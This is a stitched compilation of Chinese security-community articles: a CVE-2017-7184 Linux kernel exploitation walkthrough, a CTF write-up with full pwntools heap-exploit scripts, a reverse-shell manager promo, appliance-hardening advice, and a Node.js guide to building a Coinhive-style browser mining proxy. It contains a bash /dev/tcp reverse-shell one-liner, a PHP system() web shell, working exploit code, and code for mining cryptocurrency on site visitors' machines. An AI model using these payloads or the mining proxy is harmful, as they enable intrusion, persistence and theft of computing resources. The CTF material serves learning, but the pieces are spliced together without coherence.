[XFRM_MSG_DELSA - XFRM_MSG_BASE] = { .doit = xfrm_del_sa },
[XFRM_MSG_GETSA - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
.dump = xfrm_dump_sa,
.done = xfrm_dump_sa_done },
[XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy },
[XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
.dump = xfrm_dump_policy,
.done = xfrm_dump_policy_done },
[XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
[XFRM_MSG_ACQUIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire },
[XFRM_MSG_EXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
[XFRM_MSG_UPDPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_UPDSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
[XFRM_MSG_POLEXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
[XFRM_MSG_FLUSHSA - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa },
[XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy },
[XFRM_MSG_NEWAE - XFRM_MSG_BASE] = { .doit = xfrm_new_ae },
[XFRM_MSG_GETAE - XFRM_MSG_BASE] = { .doit = xfrm_get_ae },
[XFRM_MSG_MIGRATE - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate },
[XFRM_MSG_GETSADINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo },
[XFRM_MSG_NEWSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
.nla_pol = xfrma_spd_policy,
.nla_max = XFRMA_SPD_MAX },
[XFRM_MSG_GETSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo },
};
下面简单介绍一下其中几个函数的功能:
**xfrm_add_sa**
创建一个新的SA，并可以指定相关attr，在内核中，是用一个xfrm_state结构来表示一个SA的。
**xfrm_del_sa**
删除一个SA，也即删除一个指定的xfrm_state。
**xfrm_new_ae**
根据传入参数，更新指定xfrm_state结构中的内容。
**xfrm_get_ae**
根据传入参数，查询指定xfrm_state结构中的内容(包括attr)。
## **3.漏洞成因**
当我们发送一个XFRM_MSG_NEWSA类型的消息时，即可调用xfrm_add_sa函数来创建一个新的SA，一个新的xfrm_state也会被创建。在内核中，其实SA就是使用xfrm_state这个结构来表示的。
若在netlink消息里面使用XFRMA_REPLAY_ESN_VAL这个attr，一个replay_state_esn结构也会被创建。它的结构如下所示，可以看到它包含了一个bitmap，这个bitmap的长度是由bmp_len这个成员变量动态标识的。
struct xfrm_replay_state_esn {
unsigned int bmp_len;
__u32 oseq;
__u32 seq;
__u32 oseq_hi;
__u32 seq_hi;
__u32 replay_window;
__u32 bmp[0];
};
内核对这个结构的检查主要有以下几种情况:
首先，xfrm_add_sa函数在调用verify_newsa_info检查从用户态传入的数据时，会调用verify_replay来检查传入的replay_state_esn结构。
static inline int verify_replay(struct xfrm_usersa_info *p,
struct nlattr **attrs)
{
struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL];
struct xfrm_replay_state_esn *rs;
if (p->flags & XFRM_STATE_ESN) {
if (!rt)
return -EINVAL;
rs = nla_data(rt);
if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8)
return -EINVAL;
if (nla_len(rt) < xfrm_replay_state_esn_len(rs) &&
nla_len(rt) != sizeof(*rs))
return -EINVAL;
}
if (!rt)
return 0;
/* As only ESP and AH support ESN feature. */
if ((p->id.proto != IPPROTO_ESP) && (p->id.proto != IPPROTO_AH))
return -EINVAL;
if (p->replay_window != 0)
return -EINVAL;
return 0;
}
这个函数要求replay_state_esn结构的bmp_len不可以超过最大限制XFRMA_REPLAY_ESN_MAX。
另外，在这个创建xfrm_state的过程中，如果检查到成员中有xfrm_replay_state_esn结构，如下函数中的检查便会被执行。
int xfrm_init_replay(struct xfrm_state *x)
{
struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
if (replay_esn) {
if (replay_esn->replay_window >
replay_esn->bmp_len * sizeof(__u32) * 8) <-----检查replay_window
return -EINVAL;
if (x->props.flags & XFRM_STATE_ESN) {
if (replay_esn->replay_window == 0)
return -EINVAL;
x->repl = &xfrm_replay_esn;
} else
x->repl = &xfrm_replay_bmp;
} else
x->repl = &xfrm_replay_legacy;
return 0;
}
这个函数确保了replay_window不会比bitmap的长度大，否则函数会直接退出。
下面再来看一下xfrm_new_ae这个函数,它首先会解析用户态传入的几个attr，然后根据spi的哈希值以及ip找到指定的xfrm_state，之后xfrm_replay_verify_len中会对传入的replay_state_esn结构做一个检查，通过后即会调用xfrm_update_ae_params函数来更新对应的xfrm_state结构。下面我们来看一下xfrm_replay_verify_len这个函数。
static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_esn,
struct nlattr *rp)
{
struct xfrm_replay_state_esn *up;
int ulen;
if (!replay_esn || !rp)
return 0;
up = nla_data(rp);
ulen = xfrm_replay_state_esn_len(up);
if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen)
return -EINVAL;
return 0;
}
我们可以看到这个函数没有对replay_window做任何的检查，只需要提供的bmp_len与xfrm_state中原来的bmp_len一致就可以通过检查。所以此时我们可以控制replay_window超过bmp_len。之后内核在处理相关IPSEC数据包进行重放检测相关的操作时，对这个bitmap结构的读写操作都可能会越界。
## **4.漏洞利用**
**(1).权限不满足**
/* All operations require privileges, even GET */
if (!netlink_net_capable(skb, CAP_NET_ADMIN))
return -EPERM;
在 **xfrm_user_rcv_msg**
函数中，我们可以看到，对于相关的操作，其实都是需要CAP_NET_ADMIN权限的。那是不是我们就无法触发这个漏洞了呢？
答案是否定的，在这里我们可以利用好linux的命名空间机制，在ubuntu，Fedora等发行版，User
namespace是默认开启的。非特权用户可以创建用户命名空间、网络命名空间。在命名空间内部，我们就可以有相应的capability来触发漏洞了。
**(2).越界写**
当内核在收到ipsec的数据包时，最终会在xfrm_input解包并进行相关的一些操作。在xfrm_input中，找到对应的xfrm_state之后，根据数据包内容进行重放检测的时候会执行x->repl->advance(x,
seq);，即xfrm_replay_advance_esn这个函数。 这个函数会对bitmap进行如下操作
1.清除[last seq, current seq)的bit 2.设置bmp[current seq] = 1
我们可以指定好spi、seq等参数(内核是根据spi的哈希值以及ip地址来确定SA的)，并让内核来处理我们发出的ESP数据包，多次进行这个操作即可达到对越界任意长度进行写入任意值。
**(3).越界读**
我们的思路是使用越界写，改大下一个replay_state_esn的结构中的bmp_len。之后我们就可以利用下一个bitmap结构进行越界读。所以我们需要两个相邻的replay_state结构。我们可以使用defragment技巧来达到这个效果。即首先分配足够多的同样大小的replay_state结构把堆上原来的坑填满，之后便可大概率保证连续分配的replay_state结构是相邻的。
如上所述，使用越界写的能力将下一个bitmap长度改大，即可使用这个bitmap结构做越界读了。
图中所示为被改掉bmp_len的bitmap结构。
**(4).绕过kASLR**
我们通过xfrm_del_sa接口把没用的xfrm_state都给删掉。这样就可以在堆上留下很多的坑。之后我们可以向内核喷射很多struct
file结构体填在这些坑里。
如下，利用上面已经构造出的越界读能力，我们可以泄露一些内核里的指针来算出内核的加载地址和bitmap的位置。
### **5.内核任意地址读写及代码执行**
因为已经绕过了内核地址随机化,这时我们可以进行内核ROP构造了。
1.在这个漏洞的利用当中，我们可以在bitmap中伪造一个file_operations结构。
2.之后通过越界写可以改写掉我们刚刚在内核中喷射的struct file结构体的file_operations指针，使其指向合适的ROPgadget。
3.调用llseek函数(实际上已经是rop gadget)来执行我们事先已经准备好的ROP链。
4.通过多次改写file_operations结构中的llseek函数指针来实现多次执行ROPgadget实现提权。
如上所述，因为我们的数据都是伪造在内核里面，所以这种利用方式其实是可以同时绕过SMEP和SMAP的。
### **6.权限提升**
下面是长亭安全研究实验室在pwn2own2017上弹出xcalc的瞬间。
## **5.后记**
非常感谢slipper老师的指导和讲解 :P
感谢长亭安全研究实验室的所有小伙伴:P
## **6.参考资料**
* IPSEC协议: [IPsec - Wikipedia](https://en.wikipedia.org/wiki/IPsec)
* linux命名空间机制: [Namespaces in operation, part 1: namespaces overview](https://lwn.net/Articles/531114/)
* CVE-2017-7184: [CVE-2017-7184: kernel: Local privilege escalation in XFRM framework](http://link.zhihu.com/?target=http%3A//www.openwall.com/lists/oss-security/2017/03/29/2)
* @thezdi: <https://twitter.com/thezdi/status/842132539330375684>
* Android漏洞公告:<https://source.android.com/security/bulletin/2017-05-01>
* Redhat:[Red Hat Customer Portal](https://access.redhat.com/security/cve/cve-2017-7184)
* * * | 社区文章 |
# 鹏城杯线下部分pwn题详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次鹏城杯线下槽点很多，但是主要原因还是自己TCL。。这里我就选了比较简单的两题详细讲一下解题思路，如讲得不对，欢迎大佬指正。
## shotshot
这题的泄露地址很容易，有个格式化字符串漏洞和变量未初始化，这两个都可以用来泄露地址，难点是后面有个任意地址写的漏洞怎么利用，自己先调试了好久，后来别的师傅写出脚本后我看了一眼才恍然大悟，太强了，mark。
### 1、查看保护
主要开了canary和nx。
### 2、泄露地址
程序welcome函数中的变量v1没有初始化，show函数有个明显的格式化字符串漏洞，都可以用于泄露地址。
#### （1）利用变量未初始化泄露
在这里下个断点，输入几个‘a’，看看printf函数的栈里有什么。
有这里可以看出，只要我们输入8个a，就能把后面的地址泄露出来，即<_IO_stdfile_2_lock>
#### （2）利用格式化字符串泄露地址
这里我通过暴力泄露__libc_start_main的地址来获得基地址，偏移为11。
代码为
p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0
#gdb.attach(p)
print hex(libc_start_main)
libcbase=libc_start_main-0x0020740
print hex(libcbase)
### 3、低字节任意改
我们来看一下这里会执行start+32的地址，只要我们改掉这里的地址就能执行到我们想要的地方。
在0x00040096C和0x00400C07下断点调试可以知道a1和start是同一个地址，即0x7ffff7ff5000，当v3等于0的时候就会有一次低字节任意写的机会，改写的位置就是我们输入的id，改写的内容就是我们输入的luckynum。
这时只要我们id输入为32，就能改写start+32的位置，输入luckynum为0xaf就能执行0x0400AAF ，即read。代码为
def shot(num,id):
p.recvuntil('5. exitn')
p.sendline('4')
p.recvuntil('3. C++n')
p.sendline(str(num))
p.recvuntil('Input the id:')
p.sendline(str(id))
def shoter():
p.recvuntil('5. exitn')
p.sendline('4')
p.recvuntil('3. C++n')
p.sendline('4')
shot(1,32)
for i in range(3):
shoter()
p.recvuntil('Give me your luckynum:n')
p.sendline('175')
这时在0x00400A58下断点，就可以知道返回地址的偏移。由下图可以看出，偏移为0x10
这时我们输入0x18个a就能崩溃
### 完整exp
from pwn import*
context.log_level=True
p=process('./shotshot')
elf=ELF('shotshot')
libc=ELF('libc.so.6')
def add(leng,x):
p.recvuntil('5. exitn')
p.sendline('1')
p.recvuntil("weapon's name:n")
p.sendline(str(leng))
p.recvuntil('Input the name:n')
p.sendline(x)
p.recvuntil('Success!n')
def delete():
p.recvuntil('5. exitn')
p.sendline('3')
p.recvuntil("I can't believe it!")
def show():
p.recvuntil('5. exitn')
p.sendline('2')
def shot(num,id):
p.recvuntil('5. exitn')
p.sendline('4')
p.recvuntil('3. C++n')
p.sendline(str(num))
p.recvuntil('Input the id:')
p.sendline(str(id))
def shoter():
p.recvuntil('5. exitn')
p.sendline('4')
p.recvuntil('3. C++n')
p.sendline('4')
p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0
#gdb.attach(p)
print hex(libc_start_main)
libcbase=libc_start_main-0x0020740
print hex(libcbase)
one=libcbase+0xf02a4
shot(1,32)
for i in range(3):
shoter()
p.recvuntil('Give me your luckynum:n')
p.sendline('175')
sleep(0.5)
p.sendline('a'*16+p64(one))
p.interactive()
## littlenote
这道题目不知怎么回事，比赛刚开始没多久就有人做出来了？其实这题关键的点就是要泄露地址，然后就是简单的改malloc
hook了，我赛后跟别人交流了一下，没想到这道题有三种泄露的方法。其中一种是我万万没想到的。。
### 1、查看保护
这里主要开启了canary和NX保护
### 2、ida打开分析
这里的addnote限制了大小，只有0x60和0x20，而且，这里还有一个UAF
freenote里还有一个UAF，以及double free漏洞
hacker函数里有个负数组越界，不过貌似没什么用额。。
### 3、泄露地址
#### （1）、利用scanf函数泄露地址
当时听到还能这样泄露真的崩溃了，竟然还能这么简单。。只要在这里输入一个‘a’，就会输出v4的地址。
#### （2）、利用double free覆盖got表泄露地址
这里利用fastbin
attack到got表的位置，然后就会输出上面的地址，不过这种方法利用的条件要很挑剔，在上面只找到了一个合适的位置attack。然后执行show就会输出
_IO_2_1_stderr_ 的地址
代码如下
add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)
add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')
add('a'*18,'Y')
show(5)
#### （3）、利用double free修改chunk的size泄露
因为这里UAF只能泄露堆的地址，所以这里我们可以利用double
free修改fd为堆块的地址然后覆盖chunk改下一个chunk的size。free后会放入unsorted
bin，最后利用show输出泄露main_arena的地址。师傅的代码如下：
add("1"*8)
add("2"*0x10 + p64(0)+p64(0x71))
add("3"*0x10 + p64(0)+p64(0x21))
add((p64(0) + p64(0x21))*4)
free(1)
free(0)
free(1)
heap = show(0)
print hex(heap)
add(p64(heap+0x20)[0:2])
add("2"*8)
add("3"*8)
add("4"*0x40 + p64(0) + p64(0x91))
free(2)
add("x88")
addr = show(8)
### 4、改malloc hook为one_gadget
既然地址知道了，我们就可以利用double free改fd指针为malloc hook附近的地方，使之成为合法的chunk
delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
delete(7)
delete(7)
### 完整exp
from pwn import*
context.log_level=True
p=process('./littlenote')
#p=remote('172.91.0.64',8088)
elf=ELF('littlenote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(x,f):
p.recvuntil('Your choice:n')
p.sendline('1')
p.recvuntil("Enter your noten")
p.sendline(x)
p.recvuntil('Want to keep your note?n')
p.sendline(str(f))
p.recvuntil('Donen')
def delete(id):
p.recvuntil('Your choice:n')
p.sendline('3')
p.recvuntil("Which note do you want to delete?")
p.sendline(str(id))
def show(id):
p.recvuntil('Your choice:n')
p.sendline('2')
p.recvuntil('Which note do you want to show?n')
p.sendline(str(id))
def hack():
p.recvuntil('Your choice:n')
p.sendline('5')
p.recvuntil("Enter administrator's name:n")
p.sendline('a')
def hacker(x):
for i in range(-15,-9):
p.recvuntil('Enter hacker index:n')
p.sendline(str(i))
p.recvuntil('Enter hacker age:n')
p.sendline(x)
add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)
add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')
add('a'*18,'Y')
show(5)
#gdb.attach(p)
#p.recv()
p.recvuntil('aaaaaaaaaaaaaaaaaan')
raw_input()
a=u64(p.recv(6).ljust(0x8,'x00'))
libcbase=a-libc.symbols['_IO_2_1_stderr_']
print hex(a)
print hex(libcbase)
malloc=libcbase+libc.symbols['__malloc_hook']
delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
gdb.attach(p)
delete(7)
delete(7)
p.recv()
p.interactive()
## 小结
通过这次比赛，又学到了不少东西，让我清楚得认识到自己TCL，师傅们太强了，笑看神仙打架，今后还需要继续努力。 | 社区文章 |
* * *
#### GitHub 仓库
> <https://github.com/WangYihang/Reverse-Shell-Manager>
* * *
介绍一款基于 Python 开发的 反弹 shell 管理工具 [Reverse-Shell-Manager](https://github.com/WangYihang/Reverse-Shell-Manager)
在 CTF线下赛 的时候 , 如果通过 web 或者 pwn 已经拿到了一台服务器的控制权
那么我们可以使用反弹 shell 来对该服务器进行一个长期的权限维持
一般反弹 shell 的时候我们会怎么做呢 ?
比如说这里有一个台服务器可以 RCE 了
<?php system($_GET[c]);?>
如果要反弹的话 , 我们首先要在自己的服务器上监听一个端口 :
nc -l 8888
然后再在目标服务器上执行 :
bash -c 'bash -i >&/dev/tcp/8.8.8.8/8888 0>&1'
这样就能拿到该服务器的 shell 了
但是
一旦链接断开 , 那么就要重新利用漏洞反弹一个新的 shell
这样是不是很麻烦 , 而且还会暴露漏洞是如何被利用的
如果对方抓取了流量进行分析的话 , 很快就会把漏洞补上
而且
一般线下赛很多时候需要一些自动化的脚本来运维和进行权限维持
所以写了一个小工具 , 希望能有用
大概功能就是 :
监听一个端口 , 可以处理所有连接过来的请求
可以对已经连接的主机进行批量管理 (例如一键获取 flag)
保证一台主机不会出现多个连接
对已经下线的主机进行自动检测
下面有一个简单的介绍视频 :
#### 使用视频
[
如果可以给你带来帮助的话, 可不可以 Star 一下呐, ヽ(✿ﾟ▽ﾟ)ノ
#### TODO
1. 端口转发
2. 多层级联
...
[原文链接]
> <http://www.jianshu.com/p/8dc5a4abcc09> | 社区文章 |
# 智能家电安全（智能家电安全连载第三期）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
前两期智能家电破解介绍了智能家电的安全体系和智能家电所使用的协议。从本期开始会分别介绍智能家电的网络拓扑结构、安全漏洞和修补方案建议。
一、智能家电网络拓扑图
图1:智能家电网络拓扑图
(1)智能家电分为两种类型,第一种类型是安装Android操作系统的智能家电,比如冰箱、电视等带有智能操作系统的智能家电。设备可以和云端交互,用户手机端的APP可以对设备进行控制和管理。
(2)第二种类型的智能家电没有安装操作系统,但是可以和云端交互,并且用户的APP 可以通过向云端发送指令后对设备进行控制和管理。如洗衣机和空调等。
(3)不同类型的智能家电由于使用的控制模式以及和云端的通讯方式不同,所面临的安全威胁也不同。
二、智能家电安全加固方案
基于http协议的攻击大多数是利用指令捕获,然后使用电脑进行指令重放,最后对指令进行个性化改造尝试各种可能性。
1\. 使用https协议传输数据,https的数据包经过了加密处理,看不到有意义的明文信息,那么攻击者很难获取指令信息,也无法进行指令重放攻击。
2\. 避免弱密钥的使用,当攻击者遇到相对复杂的密码时一般很难以继续进行下去。
3\. 服务器不要返回过多没必要的信息,攻击者往往需要根据服务器的返回信息进行测试以确认一些信息
4\. 尽量避免明文传送信息,可以使用私有加密算法对信息进行加密
5\. 每次指令都需要对指令来源进行身份认证,可以加入设备信息。 | 社区文章 |
## 自己动手丰衣足食
本着一探究竟开源共享的精神，朝着拿回我的30%payback目标，我们已经详细分析了Coinhive挖矿脚本的构成、由来、运作方式，暂不提用户交互和兼容处理方式，我们先实现最核心的功能，构造一个属于自己的WebMoneroPool！
## 转化器思路构想
> 1. 从现有开源的矿池项目直接二次构造，搭建兼容WebSocket通信方式的完整Pool。
>
>
>
> 优点：从矿池整体可控，全面覆盖各项设置，100%赚取算力价值，矿池直接收取价值。（一般Pool由中心矿池打款到矿工需满足至少有0.1XMR，其中自动“税收”扣去矿池运营捐赠0.5-2%，平台开发捐赠0.1%）
>
>
> 缺点：服务器配置需求较高（≥2C4G），对于小流量站点或者前端产品变现转换率较低，运营赤字风险大。其次矿池更新迭代需从原项目升级并重新修改，容易出现不必要的烦恼……
>
> 1. 从头构造流量转换，用 `Pool_Proxy` 形式，对接转化WebSocket与PoolSocket，以中间件形式介入。
>
>
> 优点：只需构造中间件，便于维护。可以单独形成Log，对搭建平台要求无过高要求。
>
> 缺点：无法从头操控，无法避免部分定量捐赠和Pool平台“税收”。
从优缺点看，我们首要选择从 `Pool_Proxy`
中间件方式来构造前端挖矿的服务端，而后端Pool的选择空间就更大了，可以选择现有的公开矿池，也可以另外结合再自己搭建矿池。
稍安勿躁，本文将分别讲解自建中间件的过程以及标准矿池的搭建方式。
## 中间件deepMiner构造
为了简化开发流程，我使用比较熟悉的nodejs举例实现（其他语言按需实现均可）。
中间件制作，用于转化WebSocket流量与PoolSocket(TCP)流量，给双方充当“翻译”角色。
所以基础框架，先获得两边的接口，并使其能够正常对接，所以我们需要先写入如下内容到一个新建的 `server.js` 里：
var http = require('http'), //web承载
WebSocket = require("ws"), //WebSocket实现
net = require('net'), //PoolSocket(TCP)实现
fs = require('fs'); //访问本地文件系统
我们先构造一个 `config.json` 文件用来设置构造所需的参数设定，比如域名地址，矿池地址，钱包地址，监听端口等：
{
"lhost": "127.0.0.1",
"lport": 7777,
"domain": "miner.deepwn.com",
"pool": "pool.usxmrpool.com:3333",
"addr": "41ynfGBUDbGJYYzz2jgS***************************************************",
"pass": ""
}
再继续往 `server.js` 里加入代码，读取配置文件并构造出大体框架。
先来一个web，确保外部访问正常：
var conf = fs.readFileSync(__dirname + '/config.json', 'utf8');
conf = JSON.parse(conf);
// Http web
var web = http.createServer((req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.end('Pool Worked!'); // Change at Next...
}).listen(conf.lport, conf.lhost);
// next codes here...
打开浏览器，从自己的127.0.0.1:7777已经能访问看到`Pool Worked!`页面。
接下来完成复用构造WebSocket服务：
为了方便书写，我们先声明一个叫做 `conn` 的对象来接管所有设置内容，为了方便后期调用。
其中囊括了`ws`服务，以及每次`ws`新连接所触发的`net.Socket()`，同时声明每个连接的 `pid`
来解决一个关于`Miner_banned`的坑……
回顾一下：上篇稿件中提到的JsonRPC里，首次login验证中的id，其实是一个Miner的身份区分。
>
> client >>
>
> {
> "method": "login",
> "params": {
> "login": "********** [ Wallet Addr ] **********",
> "pass": "",
> "agent": "xmr-stak-cpu/1.3.0-1.5.0"
> },
> "id": 1 // <= 这个id
> 可以重复使用重复登录，但是过多为完成jobs，或者同时间id=1并发登录，将造成Miner被ban。
> }
>
> server <<
>
> {
> "id": 1, // <= 登录的MinerID，不用IP区分应该是担心存在DHCP下的Miner出口IP相同，能够理解……
> "jsonrpc": "2.0",
> "error": null,
> "result": {
> "id": "811233385116793",
> "job": {
> "blob":
> "0606e498c5ce057326423f235dcd67dec07d9cb79e3506da8b35198e7debb40be3cbc2326c1999000000008bad7c9d5b78e9c9693903e817d20c09befe2c72ee6d20f297c0026d9a6e492406",
> "job_id": "664084446453489",
> "target": "711b0d00"
> },
> "status": "OK"
> }
> }
>
这是pool用来区分单个IP不同miner的MinerID，如果一个IP里同一个Miner多次违约不完成Job并且重复登录申请新Job，将会进入banned模式，10分钟内无法获取新Jobs。
因为只是个demo，所以所有内容，全写在一个文件了，并没有进行区分和不同Socket线程单独控制，就全权交给`http`来内部控制sessions开启和销毁吧！我们继续接着构造：
// Websocket 成功连接后，流程内部发出TCP_Socket连接Pool不单独控制TCP销毁
var srv = new WebSocket.Server({
server: web, // 这里从web接管ws的操作
path: "/proxy", //可以加上path区分
maxPayload: 256
});
srv.on('connection', (ws) => { //当连接成功时，我们开始构造conn
var conn = {
uid: null, //为后期框架管理面板区分不同站点的UID
pid: new Date().getTime(), //解决踩坑……区分MinerID
workerId: null, //来自PoolJobs内job_id
found: 0,
accepted: 0,
ws: ws, //this ws
pl: new net.Socket(), //TCP Socket
}
var pool = conf.pool.split(':');
conn.pl.connect(pool[1], pool[0]); //使用新conn.pl对象，TCPSocket介入Pool
// on.('event') & some func here...
});
我们可以 `nc -lvvp 8888` 本地监听，修改 `config.json`
里pool的地址为本地监听的接口，再通过浏览器构造WebSocket访问 `ws://127.0.0.1:7777` 来验证代码是否可以执行。
在一切顺利的情况下我们开始下一步，处理不同事件，现在可以将 `// on.('event') & some func here...` 改为：
// Trans func here...
conn.ws.on('message', (data) => {
ws2pool(data); // Trans WS2TCP
console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
});
conn.ws.on('error', (data) => {
console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
conn.pl.destroy();
});
conn.ws.on('close', () => {
console.log('[!] ' + conn.uid + ' offline.\n');
conn.pl.destroy();
});
conn.pl.on('data', (data) => {
pool2ws(data); // Trans TCP2WS
console.log('[<] Response: ' + conn.uid + '\n\n' + data + '\n');
});
conn.pl.on('error', (data) => {
console.log('[!] PoolSocket ' + data + '\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
conn.pl.on('close', () => {
console.log('[!] PoolSocket Closed.\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
1. `conn.ws.on('event', [function])` 接管了在不同情况下对WebSocket的处理方式。
2. `conn.pl.on('event', [function])` 接管了对接Pool的不同处理方式。
那么我们还少了什么？ 对，如何转换Socket流量才是核心内容，我们替换刚才 `// Trans func here...`
为如下，开始勾画核心——Socket转换的Functions：
// Trans WebSocket to PoolSocket
function ws2pool(data) {
var buf;
data = JSON.parse(data);
switch (data.type) {
case 'auth':
{
conn.uid = data.params.site_key;
if (data.params.user) {
conn.uid += '@' + data.params.user;
}
buf = {
"method": "login",
"params": {
"login": conf.addr,
"pass": conf.pass,
"agent": "deepMiner"
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
case 'submit':
{
conn.found++;
buf = {
"method": "submit",
"params": {
"id": conn.workerId,
"job_id": data.params.job_id,
"nonce": data.params.nonce,
"result": data.params.result
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
}
}
// Trans PoolSocket to WebSocket
function pool2ws(data) {
var buf;
data = JSON.parse(data);
if (data.id === conn.pid && data.result) {
if (data.result.id) {
conn.workerId = data.result.id;
buf = {
"type": "authed",
"params": {
"token": "",
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
buf = {
"type": 'job',
"params": data.result.job
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
} else if (data.result.status === 'OK') {
conn.accepted++;
buf = {
"type": "hash_accepted",
"params": {
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
}
if (data.id === conn.pid && data.error) {
if (data.error.code === -1) {
buf = {
"type": "banned",
"params": {
"banned": conn.pid
}
}
} else {
buf = {
"type": "error",
"params": {
"error": data.error.message
}
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
if (data.method === 'job') {
buf = {
"type": 'job',
"params": data.params
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
}
查看第一篇文章提到的 `coinhive.min.js` 我们可以看到WebSocket主要有 `auth` / `submit` / ( `banned`
) 三个不同内容。
而从Socket_Dump中我们看到，PoolSocket里只有标准化的 `JsonRPC` ，所以我们需要转换出当前脚本能接受的 `authed` /
`job` / `hash_accepted` / ( `error` ) 四种类型返回如上。
接下来，我们来解决静态资源问题，也是为什么我们要设置 `config.json`
中的域名等，我们需要动态替换所有静态文件里的域名为自己的服务器地址或个人域名，并提供 `cryptonight.wasm`
等其他资源访问，所以我们来修改第一段代码，其中构造的 `web` 实例里需要替换那个 “撒fufu的”页面，将 `res.end('Pool
Worked!'); // Change at Next...` 替换为如下：
req.url = (req.url === '/') ? '/index.html' : req.url;
fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
if (err) {
fs.readFile(__dirname + '/web/404.html', (err, buf) => {
res.end(buf);
});
} else {
if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
buf = buf.toString().replace(/%deepMiner_domain%/g, conf.domain);
} else {
res.setHeader('Content-Type', 'application/octet-stream');
}
res.end(buf);
}
});
将所需的web文件，放入web文件夹，其中lib文件夹放入 `cryptonight-asmjs.min.js` / `cryptonight-asmjs.min.js.mem` / `cryptonight.wasm` ，最终我们拥有了一个200行代码写出来的 `Pool_Proxy` 中间件！
## deepMIner 项目实例
参考Repo: <https://github.com/deepwn/deepMiner>
Example: <https://deepc.cc/demo.html>
deepMiner.git
.
|-- README.md
|-- banner
|-- config.json
|-- package-lock.json
|-- package.json
|-- server.js
|__ web
|-- 404.html
|-- deepMiner.js
|-- demo.html
|-- index.html
|-- lib
| |-- cryptonight-asmjs.min.js
| |-- cryptonight-asmjs.min.js.mem
| |__ cryptonight.wasm
|__ worker.js
## 构建属于自己的Pool
（以下内容，可以跳过或者选取阅读。你可以直接在 `config.json`
里使用对外开放的公共矿池，也可以继续跟着本文，搭建自己的矿池。因为这个200行的Pool_Proxy已经可以完美地独立运转了！）
既然中间件有了，按道理我们可以直接使用，但还是想自行控制全部权限。
所以，不如再来一起搭建一个完全属于自己的矿池吧！
Github: <https://github.com/zone117x/node-cryptonote-pool>
Monero: <https://getmonero.org>
### 搭建Monero
首先，保证我们的服务器有 `1C1G` 的标准，因为本矿池并不对外，可以只在localhost运行，所以我们不需要太大的规格来容纳那么多连接。
但是为了确保万一别用着用着就宕了……我们还是先设置一下虚拟内存吧……
dd if=/dev/zero of=/mnt/myswap.swap bs=1M count=4000
mkswap /mnt/myswap.swap
swapon /mnt/myswap.swap
再把设置出来的内存，挂载到系统里 `vi /etc/fstab` 并加入如下（保存退出： `:wq` ）
/mnt/myswap.swap none swap sw 0 0
接下来解决Pool的依赖问题：
apt-get install build-essential libtool autotools-dev autoconf pkg-config libssl-dev
apt-get install libboost-all-dev git libminiupnpc-dev redis-server
add-apt-repository ppa:bitcoin/bitcoin
apt-get update
apt-get install libdb4.8-dev libdb4.8++-dev
麻烦的事情总是要来的，我们需要得到完整版区块链信息来完成交易和任务发布，所以需要构建可信的 `monerod` 本地进程。
具体Monero版本如果更新了，可以去官网下载布置，本文目前以0.11.0.0版本介绍。（见上方链接）
cd
